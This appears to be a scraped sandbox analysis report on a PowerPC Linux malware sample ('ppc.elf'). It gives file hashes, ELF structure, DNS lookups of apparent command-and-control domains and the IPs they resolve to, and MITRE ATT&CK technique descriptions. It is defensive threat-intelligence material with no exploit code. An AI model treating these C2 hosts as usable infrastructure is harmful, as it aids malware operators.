SHA256:	7253ea68a726b74b4a12e892270793bc124ad09f85808408e5630b6b4a357821
SHA512:	76dfe5f7b3a270dfb309da110eeeb5a9f5f4021f89a56953f3c413e17aa9cb87418f30ee1f9f8bb5129c2d14137cab26750e2101625124f52bafa507811bf161
SSDEEP:	1536:ti5bVsu3KgWcn7DcP2ARE7YVBjKKm7BJ9VgWuY+GTvDofpFjF6T3bsRr:Y5bVsu3KgWcn7DcP2ARE7YVBjy9N2FJd
TLSH:	DA534B0272184D13C5A746B0293F17F1D7BB6A6021E4B7CA794EEB5A8676E321187FCC
File Content Preview:	.ELF...........................4.........4. ...(....................................................................dt.Q.............................!..\|......$H...H......$8!. \|...N.. .!..\|.......?.............../...@..\?........+../...A..$8...})......N..

ELF header
Class:	ELF32
Data:	2's complement, big endian
Version:	1 (current)
Machine:	PowerPC
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x100001f0
Flags:	0x0
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	60560
Section Header Size:	40
Number of Section Headers:	13
Header String Table Index:	12

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x10000094	0x94	0x24	0x0	0x6	AX	4
.text	PROGBITS	0x100000b8	0xb8	0xdb30	0x0	0x6	AX	4
.fini	PROGBITS	0x1000dbe8	0xdbe8	0x20	0x0	0x6	AX	4
.rodata	PROGBITS	0x1000dc08	0xdc08	0xeb0	0x0	0x2	A	4
.ctors	PROGBITS	0x1001eabc	0xeabc	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x1001eac4	0xeac4	0x8	0x0	0x3	WA	4
.jcr	PROGBITS	0x1001eacc	0xeacc	0x4	0x0	0x3	WA	4
.data	PROGBITS	0x1001ead0	0xead0	0x148	0x0	0x3	WA	8
.sdata	PROGBITS	0x1001ec18	0xec18	0x28	0x0	0x3	WA	4
.sbss	NOBITS	0x1001ec40	0xec40	0x6c	0x0	0x3	WA	4
.bss	NOBITS	0x1001ecac	0xec40	0x112c	0x0	0x3	WA	4
.shstrtab	STRTAB	0x0	0xec40	0x50	0x0	0x0		1

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x10000000	0x10000000	0xeab8	0xeab8	6.3383	0x5	R E	0x10000	.init .text .fini .rodata
LOAD	0xeabc	0x1001eabc	0x1001eabc	0x184	0x131c	0.8866	0x6	RW	0x10000	.ctors .dtors .jcr .data .sdata .sbss .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x6	RW	0x4

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report ppc.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Yara Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Malware Analysis System Evasion

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/tmp/qemu-open.0jsFPt (deleted)

/tmp/qemu-open.1WRxBv (deleted)

/tmp/qemu-open.2KwDzr (deleted)

/tmp/qemu-open.2gCwDu (deleted)

/tmp/qemu-open.33C73t (deleted)

/tmp/qemu-open.3NGkpr (deleted)

/tmp/qemu-open.3Xe6pv (deleted)

/tmp/qemu-open.3fNuHu (deleted)

/tmp/qemu-open.4JOvBu (deleted)

/tmp/qemu-open.4cE8au (deleted)

/tmp/qemu-open.5IsO1s (deleted)

/tmp/qemu-open.6QbzMv (deleted)

/tmp/qemu-open.6mrX6s (deleted)

/tmp/qemu-open.7TkApr (deleted)

/tmp/qemu-open.7W33os (deleted)

/tmp/qemu-open.7zazdt (deleted)

/tmp/qemu-open.8AAUBt (deleted)

/tmp/qemu-open.8FwRir (deleted)

/tmp/qemu-open.9VVrzt (deleted)

/tmp/qemu-open.9pxFur (deleted)

/tmp/qemu-open.AIs6Ks (deleted)

/tmp/qemu-open.AQNERu (deleted)

/tmp/qemu-open.BTzX0u (deleted)

/tmp/qemu-open.CO7zhu (deleted)

/tmp/qemu-open.CPY2zr (deleted)

/tmp/qemu-open.CYLXLr (deleted)

/tmp/qemu-open.CbnP6t (deleted)

/tmp/qemu-open.Dunzht (deleted)

/tmp/qemu-open.EONsTr (deleted)

/tmp/qemu-open.EV0Xct (deleted)

/tmp/qemu-open.F6RZiu (deleted)

/tmp/qemu-open.Ft3j6r (deleted)

Linux Analysis Report
ppc.elf

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 24, 2024 04:13:35.447581053 CET	192.168.2.23	168.235.111.72	0xa7bf	Standard query (0)	serisontop.dyn	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:13:47.335211039 CET	192.168.2.23	202.61.197.122	0xbc01	Standard query (0)	serisontop.dyn	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:13:59.803622007 CET	192.168.2.23	185.181.61.24	0xdc52	Standard query (0)	serisbot.geek. [malformed]	256	504	false
Dec 24, 2024 04:14:12.320594072 CET	192.168.2.23	168.235.111.72	0x9312	Standard query (0)	serisbot.geek. [malformed]	256	260	false
Dec 24, 2024 04:14:24.861401081 CET	192.168.2.23	152.53.15.127	0x715b	Standard query (0)	serisontop.dyn	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:14:37.346299887 CET	192.168.2.23	202.61.197.122	0x86f0	Standard query (0)	serisbot.geek. [malformed]	256	285	false
Dec 24, 2024 04:14:49.861805916 CET	192.168.2.23	185.181.61.24	0x7b3d	Standard query (0)	serisbot.geek. [malformed]	256	297	false
Dec 24, 2024 04:15:01.682193041 CET	192.168.2.23	185.181.61.24	0xfccc	Standard query (0)	serisontop.dyn	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:15:14.176273108 CET	192.168.2.23	168.235.111.72	0x483f	Standard query (0)	serisontop.dyn	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:15:26.714270115 CET	192.168.2.23	152.53.15.127	0x7f59	Standard query (0)	serisontop.dyn	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:15:39.191162109 CET	192.168.2.23	152.53.15.127	0x9af4	Standard query (0)	serisontop.dyn	A (IP address)	IN (0x0001)	false

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Dec 24, 2024 04:13:35.771874905 CET	168.235.111.72	192.168.2.23	0xa7bf	No error (0)	serisontop.dyn	154.216.16.250	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:13:35.771874905 CET	168.235.111.72	192.168.2.23	0xa7bf	No error (0)	serisontop.dyn	154.216.16.244	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:13:35.771874905 CET	168.235.111.72	192.168.2.23	0xa7bf	No error (0)	serisontop.dyn	209.38.192.73	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:13:47.575447083 CET	202.61.197.122	192.168.2.23	0xbc01	No error (0)	serisontop.dyn	209.38.192.73	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:13:47.575447083 CET	202.61.197.122	192.168.2.23	0xbc01	No error (0)	serisontop.dyn	154.216.16.250	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:13:47.575447083 CET	202.61.197.122	192.168.2.23	0xbc01	No error (0)	serisontop.dyn	154.216.16.244	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:14:25.104701042 CET	152.53.15.127	192.168.2.23	0x715b	No error (0)	serisontop.dyn	154.216.16.244	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:14:25.104701042 CET	152.53.15.127	192.168.2.23	0x715b	No error (0)	serisontop.dyn	154.216.16.250	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:14:25.104701042 CET	152.53.15.127	192.168.2.23	0x715b	No error (0)	serisontop.dyn	209.38.192.73	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:15:01.938477039 CET	185.181.61.24	192.168.2.23	0xfccc	No error (0)	serisontop.dyn	154.216.16.244	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:15:01.938477039 CET	185.181.61.24	192.168.2.23	0xfccc	No error (0)	serisontop.dyn	154.216.16.250	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:15:01.938477039 CET	185.181.61.24	192.168.2.23	0xfccc	No error (0)	serisontop.dyn	209.38.192.73	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:15:14.485259056 CET	168.235.111.72	192.168.2.23	0x483f	No error (0)	serisontop.dyn	154.216.16.244	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:15:14.485259056 CET	168.235.111.72	192.168.2.23	0x483f	No error (0)	serisontop.dyn	154.216.16.250	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:15:14.485259056 CET	168.235.111.72	192.168.2.23	0x483f	No error (0)	serisontop.dyn	209.38.192.73	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:15:26.961678982 CET	152.53.15.127	192.168.2.23	0x7f59	No error (0)	serisontop.dyn	209.38.192.73	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:15:26.961678982 CET	152.53.15.127	192.168.2.23	0x7f59	No error (0)	serisontop.dyn	154.216.16.250	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:15:26.961678982 CET	152.53.15.127	192.168.2.23	0x7f59	No error (0)	serisontop.dyn	154.216.16.244	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:15:39.435060024 CET	152.53.15.127	192.168.2.23	0x9af4	No error (0)	serisontop.dyn	209.38.192.73	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:15:39.435060024 CET	152.53.15.127	192.168.2.23	0x9af4	No error (0)	serisontop.dyn	154.216.16.244	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:15:39.435060024 CET	152.53.15.127	192.168.2.23	0x9af4	No error (0)	serisontop.dyn	154.216.16.250	A (IP address)	IN (0x0001)	false

Start time (UTC):	03:13:32
Start date (UTC):	24/12/2024
Path:	/tmp/ppc.elf
Arguments:	/tmp/ppc.elf
File size:	5388968 bytes
MD5 hash:	ae65271c943d3451b7f026d1fadccea6

Start time (UTC):	03:13:33
Start date (UTC):	24/12/2024
Path:	/tmp/ppc.elf
Arguments:	-
File size:	5388968 bytes
MD5 hash:	ae65271c943d3451b7f026d1fadccea6

Start time (UTC):	03:13:34
Start date (UTC):	24/12/2024
Path:	/tmp/ppc.elf
Arguments:	-
File size:	5388968 bytes
MD5 hash:	ae65271c943d3451b7f026d1fadccea6

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre